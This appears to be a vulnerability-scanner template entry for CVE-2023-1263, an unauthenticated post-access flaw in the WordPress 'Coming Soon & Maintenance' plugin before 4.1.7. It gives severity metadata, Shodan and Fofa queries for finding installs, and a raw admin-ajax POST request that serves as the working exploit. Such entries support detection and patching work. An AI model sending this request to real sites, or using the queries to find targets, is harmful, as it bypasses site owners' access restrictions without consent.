| Title | Coming Soon & Maintenance < 4.1.7 - Unauthenticated Post/Page Access |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Unauthenticated attackers can bypass maintenance mode restrictions to access published posts and pages that should be protected during maintenance. |
| Remediation | Fixed in version 4.1.7 |
| CVSS Score | 5.3 |
| EPSS Score | 0.10375 |
| CVE ID | CVE-2023-1263 |
| CWE ID | CWE-200 |
| Shodan Query | http.html:/wp-content/plugins/cmp-coming-soon-maintenance/ |
| Fofa Query | body=/wp-content/plugins/cmp-coming-soon-maintenance/ |
| Tags | cve cve2023 wordpress wpscan wp-plugin wp cmp-coming-soon-maintenance unauth niteothemes vuln |
The plugin does not restrict access to published and non protected posts/pages when the maintenance mode is enabled, allowing unauthenticated users to access them.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.3
Connection: close
Content-Length: 31
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=cmp_get_post_detail&id=1
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